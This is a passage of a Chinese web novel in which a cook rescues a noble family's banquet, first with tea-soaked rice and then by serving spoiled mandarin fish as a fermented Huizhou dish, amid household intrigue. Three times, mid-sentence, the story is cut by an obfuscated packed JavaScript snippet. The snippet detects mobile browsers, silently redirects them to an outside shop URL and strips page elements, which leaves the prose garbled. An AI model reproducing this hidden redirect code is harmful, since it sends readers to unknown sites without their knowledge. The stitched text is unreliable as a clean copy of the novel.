陆夫人一见之下，只觉得眼前一黑，脸上的血色霎时褪得干干净净。她万万没想到，儿子把这尊大佛给带来了！ 事先也没交代！ 这若是有半分闪失，陆家如何担待得起！ 陆夫人立刻给儿子一个砍刀似的眼神。 赵清晏却浑然不觉般，笑嘻嘻地朝着众人随意一揖，自顾自挑了个位置坐下。 沈芙蕖与程虞等人在后厨紧张有序地忙碌着。 一道道佳肴如流水般呈上。 火腿鲜笋汤一上桌，清冽的香气便引得众人侧目。汤色澄澈如泉，几片胭脂般的火腿与嫩黄的春笋沉浮其间，入口鲜醇温润，一碗下肚，四肢百骸都舒坦起来，几位怕冷的夫人忍不住又添了半碗。 紧接着的红煨羊腩煲更是博得满堂彩，陶煲盖掀开的刹那，浓郁的肉香夹杂着香料的辛暖气息扑面而来，瞬间占据了整个暖阁。 羊肉炖得极是到位，用筷子轻轻一拨便脱了骨，入口酥烂肥糯，却丝毫不显腥膻，只余满口咸香丰腴。韩彦吃得畅快，连吃了两块。 每一道菜上来，被安排坐在陆却身旁，伪装成某家小官人的赵清晏都吃得眼睛发亮，毫不吝啬地称赞：“好吃！这个真好吃！” 他身份尊贵，虽未明言，但其举止气度已让在座众人心知非同一般，见他如此捧场，陆夫人纵然想挑刺，也一时找不到发作的借口，只得维持着面上的笑意。 “陆却，快尝尝这个！” “陆却，你这份羊腩煲若是不动，不如给了我吧？” 陆却微挑眉：“你平日不是从不沾羊肉？” “可你家这厨子手艺非凡，竟将羊肉做得毫无膻气。这厨子是从何处寻来的？”赵清晏嚼得津津有味，连声追问。 陆却搁下银箸，亦觉今日宴上菜肴确比往日家宴更胜一筹，便道：“是惠善一手张罗的，想必是从外头请来的名厨。” 赵清晏闻言朗声大笑，举杯畅饮：“既有美酒佳肴，又不乏好戏助兴，快哉，快哉！” 他说的好戏，便是这宴席上的暗潮涌动。 只见三两位同样衣着华贵的夫人，将崔婉如半拢在中间，你一言我一语，笑语温言间却是不动声色的盘桓。 这个赞崔娘子衣衫料子好，问可是苏杭的新品。那个叹她举止端庄，必是家中教养极好。陆夫人则亲自执壶，为她添了半盏热汤，语气亲昵得仿佛已是自家人。 崔婉如端坐其中，应对得滴水不漏，唇边噙着恰到好处的浅笑，既不过分热络，也无丝毫失礼。 “喏，表哥，你瞧你未来的夫人，真是受欢迎。”赵清晏懒洋洋道。 对赵清晏的口无遮拦，陆却早已习以为常。 陆却的目光穿过菜肴热气与笑语喧哗，不经意地落在了被几位珠光宝气的夫人簇拥着的崔婉如身上。 他的视线在她身上停留了片刻，是一种公事公办般的审视，好像在评估一卷条理清晰却毫无意外的卷宗。 他看得出她极好的教养，透着一种被精心雕琢过的、无可指摘的优美，心下确有一丝了然般的赞许。 他承认，母亲的选择无可挑剔。这位崔娘子，家世、品貌、仪态，皆是上上之选，如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16314078|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同一尊被供奉在白玉台上的羊脂玉观音，完美无瑕，足以光耀陆家门楣。若娶了她，必是汴京一桩人人称羡的婚事。 然而，这念头仅如水面微澜，顷刻便复归平静。陆却不动声色地收回目光，垂眸抿了一口杯中酒，酒液温润，却莫名品出了一丝索然无味的意味。 那一旁，韩彦不知何时踱到了陆惠善近旁，一双桃花眼含着三分笑，七分审视，上下一打量，便像是估量一件精贵的瓷器。 他借着举杯敬酒的由头，身子便欲不着痕迹地贴近几分。 陆惠善岂是省油的灯？她面上笑容未减，甚至更甜了几分，脚下轻巧一转，裙裾微漾，正好避开了他靠过来的肩臂。 手中团扇“啪”地一开，恰到好处地隔在两人之间，扇面轻摇，笑吟吟地便将话题引到了旁处，一招一式，化解得滴水不漏。 然而，就在宴席接近高潮，准备上最后一道主菜，陆夫人特意点的鳜鱼时，意外发生了。 负责处理鱼鲜的阿虞脸色煞白地跑来，声音发颤：“沈姐姐……那、那些鳜鱼……全都……臭了！” “怎么可能！！！” 沈芙蕖心下一沉，疾步过去一看，只见那本应鲜活的鳜鱼，全部被去了鳞片，鱼肚被剪开，表面还有未化开的粗盐，散发出一股似臭非臭的气味。 所有的食材都是新鲜的，她一一过目的，这鱼用鱼缸养着，昨天还特意检查过，正是活蹦乱跳，而且她特意留了心眼，灶房上了两道锁，旁人都进不来。 “怎么办？陆夫人特意点的这道菜……刚才府上的总管还过来催呢。”程虞也急了。 所有伙计都看向沈芙蕖。 这鳜鱼产自徽州一带，汴京本地并不出产，此刻即便想重新采买，也根本来不及。 沈芙蕖在操办这场宴席之前，曾多次与陆府灶台娘子于氏对接，陆府的总管秦嬷嬷亦见过几次，她立即告知于氏，说明情况： “烦请于氏代为回禀秦嬷嬷，方才查验食材，发现那鳜鱼受了热，气色已不正。恐败了贵客的兴，小人不敢用以蒸制。恳请示下，是另换一道主菜，还是用别的法子弥补？我这还备下了鲢鱼和一些海鱼。” 那于氏被抢了活计，哪来的好脸色，立刻说：“那道鳜鱼，是夫人亲自点的菜，特意指明要鲜活的江淮鳜鱼，席间几位夫人也是知晓的，你擅自换了，谁能担这个责任？届时怪罪下来，是你我这等下人能担待得起的吗？” 沈芙蕖脸色发白，仍旧低声下气道：“这食材已然不新鲜了，若强行入馔，贵人们吃了身子不适，那才是真的犯下大错，毁了宴席，更损了陆府声誉啊！还是赶紧请秦嬷嬷拿主意要紧！” 于氏闻言，嘴角竟勾起一丝冰冷的笑意，目光如针般刺向沈芙蕖，字字诛心：“鱼，是你芙蓉盏的人运送、查验、处理的，出了纰漏，首要责任在谁？到底是谁犯下大错？沈娘子，这我们可要掰扯清楚。” 程虞平日伶牙利嘴，到了这关键时刻，确实大脑一片空空，听到主家要怪罪，急得已经哭了出来。 沈芙蕖强撑着辩解：“现在不是谁担责任的问题，当下应当将这问题解决掉。是换鲢鱼，还是海鱼，或者其他菜。” 就在此时，又有侍女来催菜，语气里带着三分责备。 “哼，这宴席你是搞砸了，你等着瞧，秦嬷嬷定不会给你好果子！”于氏虽有意刁难，但也不敢不报，一路小跑着去了。 沈芙蕖扫过手边的食材，一眼瞥见了用来提神解渴的茶水，以及为制作甜品备下的去核梅干。 一个念头瞬间闪过。 42. 第四十二章 “阿虞！”沈芙蕖声音急促却不容置疑，“你去找一些汤盅来，要小号白瓷的。大双，你把这些米饭迅速打散，每个盅底铺上薄薄一层！切记，小半勺即可，不能超过汤盅的五分之一！小双将这些梅干每颗切成细丝，撒在上面。” “明白，掌柜的！”手下人虽不明所以，但见她神色凛然，立刻依言而动。 自己人的好处此刻便显现出来，无论沈芙蕖作何决定，他们都毫不犹豫，必定大力支持。 沈芙蕖亲自执起大茶壶，将温热清亮的茶水冲入每一个放了饭和梅干的汤盅里，茶水恰好漫过米饭，茶香与米香瞬间融合。 最后，每盏中间再放上一小颗盐渍紫苏梅干。 这是茶泡饭。 从前，沈芙蕖在暑热天气感到食欲不振时，便用热热的绿茶泡一碗冷米饭，再来一小碟咸菜，不但不会感觉寡淡，反而觉得特别爽口。 在汴京城里，寻常贩夫走卒、忙碌商贾为图快捷省事，也惯用肉羹、菜汤，或者只是白开水，泡上冷饭囫囵吃下，这是一种再寻常不过的市井吃法，却难登大雅之堂。 而汴京时兴的饮茶之风，自以点茶为尚。需将团茶研成细末，注水调膏，击拂起沫，茶汤浓醇丰腴，沫饽绵密。若以此般浓酽之茶浇饭，不免涩口黏腻，算不得美味。 可沈芙蕖素日习惯冲泡散茶，今日恰巧备下的一大壶澄澈茶汤，竟在此时派上了意想不到的用场。 “立刻传上去！就说是……宴席过半，后厨特奉上梅花清茗泡饭一盏，给诸位贵人清口解腻，以备稍后品尝主菜！” 这道命令下得又快又急，一道本不存在于菜单上的菜式，在短短几句话的功夫里诞生了。 当侍女们端着那清雅的小盅再次鱼贯而入时，果然引起了宾客的好奇。 只见白瓷盅内，浅褐色的茶汤清澈见底，其中沉浮着莹白的饭粒、紫红的梅干细丝，看着便觉清爽。 “咦？这是何物？倒是新奇。”一位夫人笑道。 正觉菜肴丰腴，需要缓一缓的客人们尝了一口。 温热的茶汤裹着微酸的梅干和清香的米饭涌入喉中，方才所有厚重油腻的口感瞬间被涤荡一空，只剩下满口的清爽与回甘。 “妙啊！酸甜清口，正当时宜！好吃的！”赵清晏又夸赞了一番。 陆却叹气，吃什么都堵不住他的嘴。 陆夫人看过菜单，并没有什么梅花清茗泡饭，可见席间气氛因这道意外之食而再度活跃起来，宾客皆称许有加，心中那点因主菜延迟而生的不快也暂且压下，反而觉得面上有光。 茶泡饭虽暂时稳住了前厅的场面，却终究拖不了太久。 就在沈芙蕖心焦如焚的等待中，管家秦嬷嬷终于到了。 秦嬷嬷仪态威严，面色沉肃如霜，一开口，便令整个后厨的空气都为凝固：“夫人既点名要吃鳜鱼，那席上就必须是鳜鱼。什么鲈鱼、黄鱼、鲢鱼……纵是王母娘娘瑶池中的仙鱼，也一概不行。” 程虞觉得这秦嬷嬷不可理喻，难道鱼坏了，还非得端上去？这不是上赶子找死吗？ 于是颤声哀求：“嬷嬷明鉴！这……这真的与我们无关！这鱼都已发酵变味，怕不是坏了七八日了，我们怎敢用不鲜的食材欺瞒夫人？” “小姑娘，你怎么说话呢？”于氏在一旁冷冷接口，“库房上了两道锁，钥匙可都在你们手里攥着。难不成，还是我故意将这鱼给捂坏了不成？” 沈芙蕖听到这里，先前种种疑虑骤然贯通。原来这场宴席，从一开始就是有备而来。 她若不做这鳜鱼，便是当场忤逆陆夫人，立刻就要遭殃。 可她若硬着头皮做了，便是以次充好，事后更难逃重罚。 进退皆是无路。 可她怎么也想不明白，自己究竟在何时何事上，得罪了这位深宅中的贵人？ 秦嬷嬷是陆府多年的管家，也代表着陆夫人本人的意思：“今日这宴，请的是崔家娘子，坐的是韩家官人，满汴京有头有脸的夫人小姐都看着。不瞒你说，夫人已夸下海口，在座的都是冲这鳜鱼来的，此刻换成旁的，你让夫人的脸往哪儿搁？让陆府的脸往哪儿搁？” “至于这鱼是怎么坏的……”秦嬷嬷冷哼一声，意有所指地瞥了一眼那紧锁的库房。 “钥匙在你们手里，是你们运送保管不力，还是有人疏忽懈怠，或是本就心思不纯，这自有公断。但绝不是现在该论的事！” 她目光再度逼向沈芙蕖，语气斩钉截铁，不留丝毫商量余地：“现在，沈娘子你的差事只有一桩。那就是想尽一切办法，让鳜鱼如期出现在宴席上。至于它究竟是什么味儿，夫人或许不计较，贵客们或许尝不出。” “若做不出来……”她语调陡然转厉，“那便是你沈娘子无能，累及陆府蒙羞，这罪过，你和你这芙蓉盏，担待不起。若做出来了，日后即便有事，夫人念你今日顾全大局，或许还能从轻发落。” “沈娘子，是此刻就担下这办事不力的罪过，还是赌一把夫人事后的宽宏大量？这路，你自己选罢！” 沈芙蕖只觉得耳边嗡嗡作响，秦嬷嬷那番裹挟着威压与机锋的话语，如同冰水般浇遍她全身，让她全身上下都透着一股寒意。 她的威严不在于高声斥骂，而在于那种洞悉一切、掌控一切、且绝不容情的冰冷姿态。 “夫人要的不是一条鱼，是陆家的体面。” “钥匙在谁手里，谁自然首当其冲。” “是此刻就担下这办事不力的罪过，还是赌一把夫人事后宽宏大量？” 字字句句，在她脑中反复冲撞。 她深知，秦嬷嬷并非虚言恫吓。在这高门深院里，真相往往无关紧要，重要的是姿态，是颜面。 主子可以唱红脸，但秦嬷嬷这把刀必须时刻锋利，且刀口永远对着外人。 她若坚持鱼已坏不能做，立刻就会被打上无能败事的烙印，芙蓉盏和她好不容易挣来的立足之地，都可能顷刻覆灭。 所有伙计的目光都聚焦在她身上，等待着她的决断，那目光里有恐慌，有信任，更有依赖。 就在这极致的压力与绝望中，一道模糊的记忆碎片忽然划过脑海。 她几乎是扑到那盛鱼的盆边，不顾那似臭非臭的气味，伸手拈起一点鱼身上的粗盐颗粒，指尖捻开，又凑近仔细闻了闻，再小心地用指甲掐下一丝鱼肉察看。 不对！ 这鱼……并非她最初惊惶之下认定的那种腐败的腥臭。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16324289|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气味更沉郁，更复杂，还隐隐透着一股发酵后的微酸。 鱼眼虽略浑，却并未完全凹陷腐败。鱼肉质地紧实，甚至有些发硬，而非腐烂的软烂。 一个大胆到近乎疯狂的念头在她心中破土而出，沈芙蕖心一横，横竖都是死，不如赌一把！ 沈芙蕖亲自上手，将那几条气味独特的鳜鱼拎出，置于案上。 就着清水，用丝瓜瓤用力搓洗鱼身，将表面多余的盐分和略微粘滑的膜状物尽数洗去，露出底下紧实的鱼肉。 随后用快刀，在鱼身两面划上花刀，既为入味，也便于之后煎制时受热均匀。 阿虞已将焙香碾碎的花椒末取来，沈芙蕖取过一些，混合着少量新盐和料酒，再次细细涂抹在鱼身内外及刀口深处，进行短暂的二次码味，以进一步压制并转化那特殊的气味。 锅中之油已烧至青烟袅袅，热浪灼人。 沈芙蕖拎起鱼尾，将鳜鱼滑入滚油之中，浓郁的香气夹杂着发酵气味蒸腾而起，待一面煎得金黄定型，鱼皮紧缩起皱，才用锅铲小心翻面，将另一面同样煎至焦黄酥脆，盛出沥油。 锅内留底油，下入五花肉丁，煸炒至金黄出油，随即撒入大量的姜末、蒜末、葱白末以及几截干辣椒，爆炒出辛香扑鼻的底味。 接着，她舀入一大勺浓稠的豆瓣酱炒香炒透，继而烹入大量黄酒，激出锅气，再倒入适量酱油、少许糖和足量的陈醋，最后注入小半碗清水，烧制成色泽红亮的浓郁酱汁。 将煎好的鳜鱼轻轻滑回锅中，令其完全浸入沸腾的酱汁之中，大火烧沸后，旋即转为小火慢煨，期间不断用勺子将汤汁舀起，浇淋在未能浸入汁水的鱼身之上，使其上下均匀入味。 约一刻钟后，汤汁已收浓过半，鱼肉充分吸饱了酱汁的精华。沈芙蕖再次调入少许陈醋增香，撒上一把切碎的葱花。 那条被寄予厚望引发后厨一场风波的鳜鱼，终于被侍女稳稳地端了上来。 然而，与先前那些香气四溢、令人食指大动的菜肴不同，这鱼一上桌，一股复杂而奇特的气味便率先弥漫开来，隐隐透着一丝微臭，与满桌珍馐显得格格不入。 原本谈笑风生箸匙交错的席面，霎时间安静了下来。 所有目光都聚焦在自己跟前那条装点着肉末与青蒜的鳜鱼上，动作却是一致的凝滞，无人率先动筷。 贵妇们交换着迟疑的眼神，用团扇半掩着口鼻，窃窃私语：“这味道……倒是独特。” “瞧着颜色是极好的，只是这气味……” “陆府宴席，向来精致，今日这主菜，挺别出心裁。” 陆夫人脸上的笑意早已消失殆尽，她几乎能感受到周遭那些沉默的目光里蕴含的质疑与看笑话的意味，面色沉得能滴出水来。 她原本的盘算，是若此番宴席办得风光体面，便在那恰到好处之时，将沈芙蕖唤至人前，表面上是论功行赏，实则是叫她认清自己与陆家之间那不可逾越的云泥之别。 可如今，这盘散发着异味的鳜鱼，简直将陆府的颜面按在地上践踏！她所有的谋划都化为了泡影，只剩下滔天的怒火和亟待发泄的羞辱感。 “把那个厨娘给我叫来。”陆夫人声音冰寒，几乎是从牙缝里挤出这句话。 43. 第四十三章 不多时，沈芙蕖的身影出现在暖阁入口。她刚从灶台下来，额角还沁着细密的汗珠，几缕乌黑的发丝沾湿了贴在颊边，非但不显狼狈，反添了几分勃勃生气。 她一身洁净的青色粗布衣裙，腰间系着一条半旧的围裙，袖口挽至小臂，露出一截线条流畅、肤色健康的手腕。 原本因异味而兴致缺缺的韩彦，自沈芙蕖出现的那一刻起，目光便亮了起来。 他暗自道，陆府连厨娘都长得这么标志？眉眼疏朗，鼻梁挺直，一双眸子黑亮有神，顾盼间带着一种不同于闺阁女子的清醒与锐气，是一种糅合了英气与明艳的美。 她稳步走来，面对满座锦衣华服目光各异的贵人，神态却是不卑不亢，既无惶恐，也无谄媚。 陆却乍见沈芙蕖出现，自然是震惊不已，想到这宴席的味道，较之春宴更上一层楼，可见厨艺精进。 坐在他身旁的陆惠善立刻捕捉到了兄长的神色变化，她适时地倾过身，轻声细语却又清晰无比地说道： “哥，瞧我这记性，我忘记说了，我与沈娘子交好，这回又自掏体己，贴了三十贯，前后统共花了八十贯钱，才特地请动她来操办的。” 陆却只说：“以这场宴席的水准来看，这个价钱，倒也算不得贵了。” 陆夫人正欲厉声斥责这败坏宴席的行径，坐在末席的赵清晏却抢先开口，语气带着几分惊喜：“咦？这是徽州那道有名的臭鳜鱼？我早听说此菜风味独特，非当地名厨不得其法，今日竟在汴京有幸得尝！” 说罢，朝着沈芙蕖眨眨眼睛，笑得一脸灿烂。 赵清晏那句“徽州名菜”的话音刚落，瞬间打破了尴尬的僵局。 席间气氛陡然一松，贵妇们面面相觑，随即纷纷换上恍然大悟的表情，仿佛方才的迟疑只是为了更好地品味这地方风味。 沈芙蕖微微吸了口气，目光迎向众人，声音平稳道：“正是。此菜名为腌鲜鳜，源自徽州山地，乃当地百姓为保鱼鲜，应对路途遥远而创的独特存鲜之法。” “需取鲜活江淮鳜鱼，以炒热的花椒盐里外细细擦遍，置于木桶中，以重石压之，置于阴凉通风之处。借盐力与微菌，令鱼肉自然发酵，脱去部分水分，肉质因而变得异常紧实，呈蒜瓣状，别具一番醇厚风味。” “我说呢！果然特别！” 赵清晏说着，又津津有味地夹了一大块放入口中，咀嚼得格外香甜，还摇头晃脑地点评：“闻着微臭，吃着异香，肉质紧实醇厚，妙极！妙极！陆府上果然能人辈出，连这般地道的地方风味都做得出来，真是让我等大开眼界了！” 太子殿下金口一开，且吃得如此欢畅，谁还敢说这道菜坏了？ “原是如此！怪不得风味如此……独特！” “我等险些错过了这等美味。” 箸匙声再次响起，众人仿佛竞赛般朝着臭鳜鱼夹去，啧啧称奇之声不绝于耳。 崔婉如夹了一块鱼肉送进口中，细嚼片刻，认真品味那复杂的风味在舌尖层层化开。 随后，她柔声道：“鱼肉紧实，咸鲜入味，醇厚而不掩其本味，这发酵之法确有点石成金之妙。”语气温婉平和，不带刻意维护之色，只是纯粹道出品尝后的真实感受。 “崔娘子说得再对不过了！”陆惠善笑语盈盈，目光热切地落在沈芙蕖身上，“我早同母亲说过，沈掌柜的手艺是汴京独一份儿的灵巧。” 陆夫人一口气堵在胸口，吐不出又咽不下，脸色青白交错，却只能强挤出笑容。 她上下打量着沈芙蕖那身粗布衣裳，缓缓开口：“我叫你上前，原也是要夸你。这鱼……滋味确实别致，也够新奇。该赏，自然该重赏。” 陆夫人微微抬头，管事嬷嬷立刻拿了一把玉如意出来，主家有赏，沈芙蕖按照礼数叩谢，说了声：“多谢夫人。” 礼毕，她顺势起身道：“灶火需要时时盯着，民女不敢久留，恳请告退。” 沈芙蕖瞧着这满席的华服，贵女们骄矜的神态，优雅的坐姿，以及她们眼中若有若无的审视与矜持，再对比自己一身粗布，什么也都明白了。 自己要用满手的油污烟尘，衬托他们的不染凡俗。 用自己的谨小慎微，衬托他们宽宏赏识的大度。 钱难挣，屎难吃。看来在哪个朝代都是一样，沈芙蕖心中冷笑。 紧接着，一股更为坚韧、近乎桀骜的心气从心底涌起。那又如何？总归我沈芙蕖力挽狂澜，将这局势逆转了。 世间虚情假意太多，唯有攥在手里的钱才是真的。 八十贯钱，能让她在这汴京城里更安稳地立足，能让她离自在二字更近一步。 没什么值得难过的。她赢了实际，便够了。 然而陆夫人又怎么会放过这个机会，她又开口道：“我听惠善说，你一个女子，在这汴京城里独自撑起一间食肆，每天抛头露面极不容易。想必你店里三教九流的人物都有？每天要迎来送往的，也难怪沈掌柜能将这地方名菜做得如此地道，也是平日里与四方来客打交道多了，见识广博之故。” 沈芙蕖再次冷笑，还，有完没完了？ 当了陪衬不够，必须得留下来听她一顿教训吗？ 席间的宾客皆是察言观色的高手，先前因赵清晏与崔婉如的肯定而稍缓的气氛，在陆夫人此番夸赞之后，再度变得微妙起来。 既窥破了主家的真实态度，方才还跟着称赞新奇别致的众人，立刻悄然收敛了神色。 连心软欲出言转圜的崔婉如也沉默地端起了杯盏，为了一个不相干的厨娘，去拂逆陆夫人的明显意旨，是极不划算的。 于是，暖阁内形成了一种诡异的寂静。 所有的目光或直接或隐晦地投向了孤立的沈芙蕖，带着一丝怜悯，一丝好奇，更多的是一种置身事外的静观其变。 赵清晏耳尖微动，一双眼睛滴溜溜地在陆夫人和沈芙蕖之间转了两圈，心下顿时了然。他不由暗自生气： 陆却他娘这是唱的哪一出？犯什么神经啊？ 陆却你也不管管！这不明摆着是在欺负沈芙蕖！ 欺负他的沈芙蕖！ 赵清晏几乎立刻要开口帮腔，只见沈芙蕖再次微微福了一礼，伶牙俐齿道：“夫人谬赞。民女不过是尽己所能，谋一立足之地罢了。芙蓉盏开门迎客，来的皆是衣食父母，无论来自何方，所为何事，入了小店的门，便都是客。” “民女所学所知，无非是尽心做好一碗饭、一碟菜，让客人吃得舒心踏实。至于见识广博，实不敢当，无非是听的市井故事多些，看的百姓烟火气浓些，若说有何助益，便是更知这人间滋味，终究是落在实在二字上，让民女不敢在食材手艺上有丝毫懈怠。” 赵清晏立刻拍手，欢快道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16328804|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “说得好！” 众人闻言又是一怔，彼此交换眼神，皆在对方眼中看到几分无奈与诧异，纷纷暗自摇头。 早闻太子殿下心性天真，不谙世事，今日亲眼得见，方知传言非虚。 即便身为东宫储君，这般直白地拂逆主家颜面，终究是过于率性而为了！ 陆夫人端坐其上，面上维持着那抹勉强挤出的笑意，看着沈芙蕖不卑不亢地应答、行礼，每一个动作都挑不出错处，每一句话都堵得她心口发闷。 她可真厌恶沈芙蕖那副能言善辩的模样！ 一个厨娘，就该有厨娘的样子，安分守己地待在灶台边，而不是在这里巧舌如簧，试图用言语来抹平身份的鸿沟。 正当陆夫人还要再说几句找回面子时，她那整场宴席几乎没说过话的儿子陆却开口了。 陆却语气温和却带着不容置疑的份量：“母亲与小妹今日操持宴席，辛苦了。沈娘子厨艺精湛，心怀坦荡。儿子听闻，她为备此宴，其店内歇业三日，损失颇巨，其心亦诚。” 他略一停顿，仿佛只是闲话家常：“既母亲方才已金口玉言该重赏，儿子便僭越一回，自作主张。赏银一百贯，现在便从我和惠善账上支取，送至芙蓉盏，以彰我陆家恤下之功，亦全母亲仁厚守信之名。” 陆惠善一听兄长竟将她也与这一百贯的赏钱直接挂钩，脸上血色霎时褪得干干净净，变得惨白。 她并非心疼银钱，而是意识到哥哥此举，察觉了她在此事中扮演的不光彩的角色，甚至可能看穿了她对沈芙蕖的刻意引荐与背后的推波助澜。 哥哥……还是太过敏锐了。 她慌忙垂下头，不敢与陆却的目光有任何接触，心中又惊又惧。 陆夫人更是气得几乎要维持不住面上的笑。 她原本只打算给个八十贯，方才当着所有人的面又赏了玉如意。 可陆却竟当场将赏银抬到了一百贯，还要立刻兑现！这偏袒之心，简直昭然若揭！ 她只觉得一股热血直冲头顶，太阳穴突突直跳，气得发昏。 就在气氛僵持的关头，一名侍女步履匆匆入内禀报：“夫人，大理寺周寺正在外求见，说是有要事。另外……崔娘子的兄嫂也一同前来，正在门外等候。” 崔婉如的兄长崔彬同在翰林院供职，其嫂嫂更是出身名门荥阳郑氏，是真正的大家闺秀。这对夫妇品貌出众，连官家都曾赞其为神仙眷侣。 只是二人素来不喜应酬，今日竟联袂而来，着实令人意外。 陆夫人一听崔娘子兄嫂几字，顿时精神一振，仿佛抓住了浮木，当即强压下满腔怒火与对沈芙蕖的厌憎，脸上迅速堆起热络得体的笑容，连声道：“快请！快快有请！” 原本只是静观其变的宾客们也纷纷引颈望去，都想一睹这对被官家金口盛赞的佳偶风采。 崔彬入内后，言辞简洁地说明了来意，家中忽有姑苏来的贵客到访，是位长辈，舍妹不在场恐有失礼数，因此特来接她回府。 陆夫人早已将崔婉如视作未来儿媳，更将崔彬夫妇当作亲家看待，为显两家亲近，她表现得格外热情。不料崔彬虽举止彬彬有礼，却自带一段清冷疏离的气度，一句多余的客套也未多说。 寒暄不过两三句，崔彬的夫人便含笑将目光一转，越过正殷切示好的陆夫人，径直落在一旁正待退下的沈芙蕖身上。 44. 第四十四章 “这位便是芙蓉盏的沈掌柜吧？”郑氏声音柔和，“实不相瞒，我隔三差五便遣家中仆役去贵店买些签子肉回来，总也吃不腻。今日竟在陆府得见掌柜，可见陆夫人独具慧眼。” 陆夫人闻言，立刻含笑接话：“我也是听小女惠善多次举荐，才知民间藏着这般手艺出众的厨娘，故而特地请来操办宴席，与众位同享。” 席间几位宾客心中泛起几分诧异。 那签子肉再是味美，又何至于让这位出身荥阳郑氏的贵妇人当着满堂宾客特意称道？ 这沈芙蕖究竟是何方人物，先前得太子的青眼，如今又有崔家少夫人为她出声？ 郑氏却似浑然不觉众人疑惑，依旧含笑望着沈芙蕖，语气愈发温和：“说起沈掌柜，令人称赞的又何止是手艺。乞巧节那日，我与外子因些许家事争执了几句。他心中歉疚，便想买贵店所出的乞巧套餐予我致歉，不料去时已售罄。” 她说着，眼波温柔地掠了一眼身旁神色端肃的崔彬，续道：“沈掌柜知晓缘由后，特意重新开火制了一份巧果，又亲手扎了一束鲜花相赠，只说感念郎君诚意，惟愿夫人展颜。如此体贴周到的心思，实在令人难忘。今日既然有缘得见，定要当面谢过。” 这一番话，情真意切，字字清晰，在这微妙之时，无疑是将沈芙蕖的品性、巧思与善意推到了众人面前，给了她一个极有份量的肯定。 沈芙蕖依旧神色平静，只微微敛衽，淡声道：“崔夫人言重了，不过是举手之劳，不必挂心。” 郑氏却笑着摇头，语气诚挚：“沈掌柜以为是小事，我夫妇二人却始终感念在心。” 恰在此时，周寺正稳步上前，在陆却身侧低语数句，神色凝重。 陆却听罢，眉头微蹙，旋即向席间众人拱手道：“恕陆某失陪，大理寺有紧急公务，需即刻处理。” 赵清晏正觉筵席渐趋乏味，见状摆了摆手，道：“既有要事，速去便是。” 主家男主离席，又有公务为由，加之崔婉如也要告辞，其余宾客见状，自然也纷纷顺势起身，言说尽兴，感谢款待云云。 一场风波不断的宴席，就此散了场。 沈芙蕖心下松了一口气，总算有惊无险地交了这趟差事。 一回到后厨，伙计们立刻围拢上来，七嘴八舌地追问着前面的情形。 听闻最终化险为夷，众人这才抚着胸口长舒一口气，脸上绽开笑容，欢喜得在灶房间蹦跳起来。 程虞仍蹙着眉，揪着衣角委屈道：“沈姐姐，我是真不明白……这大冬天的，鱼怎会一夜之间就坏了呢？我明明检查过好几遍……” 大双出声宽慰：“阿虞，这事怪不得你。有人存心使坏，便是金玉也能给它摧折了。” 小双也连连点头，说着还瞥了一眼旁边的于氏：“正是这个理！汴河那抛尸案不也一样？冰面才化，死者尸身却早已腐坏。可见若有人作恶，哪管什么天时地利？” 于氏早已听说芙蓉盏众人得了厚赏，此刻连表面功夫也懒得再做，面色铁青地冷哼一声，扭身便走。 沈芙蕖并未多言，只沉静地指挥众人收拾妥当，又与陆府管事秦嬷嬷交割完毕，这才带着一身倦意，返回芙蓉盏。 一回到店中，她当即取出钱匣，给程虞、张澈、大双、小双等所有今日出了力的伙计一一发放了丰厚赏银，朗声道：“今日辛苦大家了。明日也歇业一日，诸位好好歇息！” “太好了！我正想给阿婆扯块新料子做冬衣呢！”程虞欢喜得几乎跳起来，话音未落便已奔出门去。 众人笑逐颜开，纷纷道谢离去。喧闹过后，店中只剩下一片寂静。 沈芙蕖却独独唤住了正欲转身的张澈。 “阿澈，你留一步，我有话要问。” 张澈微微一愣，站在原地，感觉全身血液都凝固了，半晌才挤了笑脸：“怎么了掌柜的？是账对不上吗？” 店门合拢，喧嚣散去，沈芙蕖并未看向张澈，继续在账上添了几笔，说道： “阿澈，库房的钥匙，是由你贴身保管。采买食材，亦是你我二人共同经手。今日事发后，我仔细查验过门锁，并无半点撬凿的痕迹。” 她停下动作，终于抬眼看向张澈：“除了我们自己人，还有谁能神不知鬼不觉地打开那库房的门？” 张澈听了，悬着的心提到了嗓子眼，说：“我听陆府其他下人说，以往陆府的各类宴席都由灶头娘子于氏操办。这次特意从外头请人，她心里怕是极不痛快。” “是，于娘子有动机，确实嫌疑最大。” 